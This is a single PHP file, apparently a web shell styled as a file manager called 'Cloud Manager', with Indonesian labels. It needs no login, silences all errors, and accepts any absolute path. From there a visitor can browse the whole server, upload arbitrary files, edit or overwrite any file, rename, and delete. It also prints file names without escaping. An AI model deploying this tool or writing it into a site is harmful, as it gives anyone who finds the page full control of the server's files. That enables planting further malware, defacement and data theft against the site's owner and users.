<?php
/**
* Cloud Manager v3.6 - Breadcrumb UI & Original Directory Logic
*/
error_reporting(0);
$dir_separator = DIRECTORY_SEPARATOR;
$base_dir = getcwd();
// --- LOGIKA DIREKTORI (Sesuai Permintaan Anda) ---
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir;
$current_dir = realpath($current_dir) ?: $current_dir;
$current_dir = str_replace(['/', '\\'], $dir_separator, $current_dir);
if (!is_dir($current_dir)) { $current_dir = $base_dir; }
$message = ['text' => '', 'type' => ''];
$current_query_param = '?dir=' . urlencode($current_dir);
// --- LOGIKA OPERASI ---
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$action = $_POST['action'];
if ($action == 'create_folder' && !empty($_POST['folder_name'])) {
$new_folder = $current_dir . $dir_separator . $_POST['folder_name'];
if (!file_exists($new_folder)) { mkdir($new_folder, 0755, true); $message = ['text' => "Folder dibuat.", 'type' => 'success']; }
}
if ($action == 'create_file' && !empty($_POST['file_name'])) {
$new_file = $current_dir . $dir_separator . $_POST['file_name'];
if (!file_exists($new_file)) { file_put_contents($new_file, ""); $message = ['text' => "File dibuat.", 'type' => 'success']; }
}
if ($action == 'rename_item') {
$old_path = $current_dir . $dir_separator . $_POST['old_name'];
$new_path = $current_dir . $dir_separator . $_POST['new_name'];
if (file_exists($old_path) && !file_exists($new_path)) {
rename($old_path, $new_path);
$message = ['text' => "Berhasil diubah.", 'type' => 'success'];
}
}
if ($action == 'save_edit') {
file_put_contents($current_dir . $dir_separator . $_POST['filename'], $_POST['content']);
$message = ['text' => "Tersimpan.", 'type' => 'success'];
}
if ($action == 'upload_file') {
move_uploaded_file($_FILES['file_upload']['tmp_name'], $current_dir . $dir_separator . basename($_FILES['file_upload']['name']));
$message = ['text' => "Upload sukses.", 'type' => 'success'];
}
}
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
$target = $current_dir . $dir_separator . $_GET['file'];
is_file($target) ? unlink($target) : @rmdir($target);
$message = ['text' => "Terhapus.", 'type' => 'success'];
}
// --- CSS INTERNAL ---
$css = "
:root { --primary: #6366f1; --bg: #f8fafc; --dark: #1e293b; --text: #334155; }
body { font-family: system-ui, sans-serif; background: var(--bg); color: var(--text); margin: 0; padding: 20px; }
.container { max-width: 1100px; margin: 0 auto; }
/* Breadcrumb UI Style */
.nav-breadcrumb {
display: flex; align-items: center; gap: 8px; background: white;
padding: 12px 16px; border-radius: 12px; border: 1px solid #e2e8f0;
box-shadow: 0 1px 2px rgba(0,0,0,0.05); margin-bottom: 25px;
overflow-x: auto; white-space: nowrap; font-size: 14px;
}
.btn-house {
display: flex; align-items: center; justify-content: center;
width: 32px; height: 32px; border-radius: 8px; color: var(--primary);
text-decoration: none; transition: background 0.2s;
}
.btn-house:hover { background: #eef2ff; }
.breadcrumb-item {
color: #475569; font-weight: 600; text-decoration: none;
padding: 4px 8px; border-radius: 6px; transition: all 0.2s;
}
.breadcrumb-item:hover { color: var(--primary); background: #f8fafc; }
.chevron { color: #cbd5e1; width: 10px; height: 10px; margin: 0 4px; }
.card-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 20px; }
.card { background: white; padding: 15px; border-radius: 12px; border: 1px solid #e2e8f0; }
input[type=text] { width: 60%; padding: 8px; border: 1px solid #ddd; border-radius: 6px; outline: none; }
button { background: var(--dark); color: white; border: none; padding: 8px 15px; border-radius: 6px; cursor: pointer; font-weight: bold; }
.btn-primary { background: var(--primary); }
table { width: 100%; border-collapse: collapse; background: white; border-radius: 12px; border: 1px solid #e2e8f0; overflow: hidden; }
th { background: #f8fafc; text-align: left; padding: 15px; font-size: 11px; color: #64748b; border-bottom: 1px solid #e2e8f0; }
td { padding: 12px 15px; border-bottom: 1px solid #f1f5f9; }
#renameModal { display:none; position: fixed; inset: 0; background: rgba(0,0,0,0.5); align-items: center; justify-content: center; z-index: 100; }
.modal-content { background: white; padding: 25px; border-radius: 15px; width: 350px; }
textarea { width: 100%; height: 550px; background: #0f172a; color: #818cf8; font-family: monospace; border-radius: 10px; padding: 15px; border: none; margin-top: 10px; outline: none; }
";
if (isset($_GET['action']) && $_GET['action'] == 'edit'):
$content = file_get_contents($current_dir . $dir_separator . $_GET['file']);
?>
<!DOCTYPE html>
<html>
<head><style><?= $css ?></style></head>
<body style="background:#0f172a; color:white;">
<div class="container">
<header style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;">
<h3 style="margin:0">Editing: <?= htmlspecialchars($_GET['file']) ?></h3>
<a href="<?= $current_query_param ?>" style="color:white; text-decoration:none; font-weight:bold;">[ CANCEL ]</a>
</header>
<form method="POST">
<input type="hidden" name="action" value="save_edit">
<input type="hidden" name="filename" value="<?= htmlspecialchars($_GET['file']) ?>">
<textarea name="content" spellcheck="false"><?= htmlspecialchars($content) ?></textarea>
<div style="text-align:right; margin-top:15px;"><button type="submit" class="btn-primary" style="padding:12px 40px;">SAVE CHANGES</button></div>
</form>
</div>
</body>
</html>
<?php exit; endif; ?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><style><?= $css ?></style></head>
<body>
<div class="container">
<h2 style="margin-top:0; margin-bottom:20px;">Cloud<span style="color:var(--primary)">Manager.</span></h2>
<nav class="nav-breadcrumb">
<a href="?dir=<?= urlencode($base_dir) ?>" class="btn-house">
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"></path><polyline points="9 22 9 12 15 12 15 22"></polyline></svg>
</a>
<?php
$parts = explode($dir_separator, trim($current_dir, $dir_separator));
$path_accumulated = (strpos($current_dir, ':') !== false) ? '' : $dir_separator;
foreach ($parts as $index => $part):
if (empty($part)) continue;
$path_accumulated .= ($index == 0 && strpos($current_dir, ':') !== false) ? $part : $dir_separator . $part;
?>
<svg class="chevron" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg>
<a href="?dir=<?= urlencode($path_accumulated) ?>" class="breadcrumb-item">
<?= htmlspecialchars($part) ?>
</a>
<?php endforeach; ?>
</nav>
<div class="card-grid">
<div class="card">
<div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">FOLDER BARU</div>
<form method="POST"><input type="hidden" name="action" value="create_folder"><input type="text" name="folder_name" required> <button type="submit">OK</button></form>
</div>
<div class="card">
<div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">FILE BARU</div>
<form method="POST"><input type="hidden" name="action" value="create_file"><input type="text" name="file_name" required> <button type="submit" class="btn-primary">OK</button></form>
</div>
<div class="card">
<div style="font-size:10px; font-weight:900; color:#94a3b8; margin-bottom:8px;">UPLOAD</div>
<form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="upload_file"><input type="file" name="file_upload" style="width:110px"> <button type="submit">UP</button></form>
</div>
</div>
<?php if ($message['text']): ?><div style="padding:12px; background:#dcfce7; color:#166534; border-radius:8px; margin-bottom:15px; font-weight:bold; border:1px solid #bbf7d0;"><?= $message['text'] ?></div><?php endif; ?>
<table>
<thead><tr><th>Nama Item</th><th style="text-align:right">Aksi</th></tr></thead>
<tbody>
<?php
$items = array_diff(scandir($current_dir), ['.', '..']);
natcasesort($items);
foreach ($items as $item):
$is_dir = is_dir($current_dir . $dir_separator . $item);
?>
<tr>
<td>
<?= $is_dir ? '📁' : '📄' ?>
<?php if ($is_dir): ?>
<a href="?dir=<?= urlencode($current_dir . $dir_separator . $item) ?>" style="text-decoration:none; color:var(--dark); font-weight:bold;"><?= $item ?></a>
<?php else: ?>
<span style="color:#64748b"><?= $item ?></span>
<?php endif; ?>
</td>
<td style="text-align:right">
<?php if (!$is_dir): ?>
<a href="?action=edit&file=<?= urlencode($item) ?>&dir=<?= urlencode($current_dir) ?>" style="color:var(--primary); font-size:12px; margin-right:12px; font-weight:bold; text-decoration:none;">EDIT</a>
<?php endif; ?>
<a href="javascript:void(0)" onclick="openRename('<?= addslashes($item) ?>')" style="color:#f59e0b; font-size:12px; margin-right:12px; font-weight:bold; text-decoration:none;">RENAME</a>
<a href="?action=delete&file=<?= urlencode($item) ?>&dir=<?= urlencode($current_dir) ?>" style="color:#ef4444; font-size:12px; font-weight:bold; text-decoration:none;" onclick="return confirm('Hapus?')">HAPUS</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<div id="renameModal">
<div class="modal-content">
<h4 style="margin-top:0">Ubah Nama</h4>
<form method="POST">
<input type="hidden" name="action" value="rename_item">
<input type="hidden" name="old_name" id="old_name_input">
<input type="text" name="new_name" id="new_name_input" style="width:93%; margin-bottom:15px;" required>
<div style="text-align:right">
<button type="button" onclick="closeRename()" style="background:#e2e8f0; color:#64748b; margin-right:5px;">Batal</button>
<button type="submit" class="btn-primary">Simpan</button>
</div>
</form>
</div>
</div>
<script>
function openRename(name) {
document.getElementById('old_name_input').value = name;
document.getElementById('new_name_input').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
function closeRename() {
document.getElementById('renameModal').style.display = 'none';
}
</script>
</body>
</html>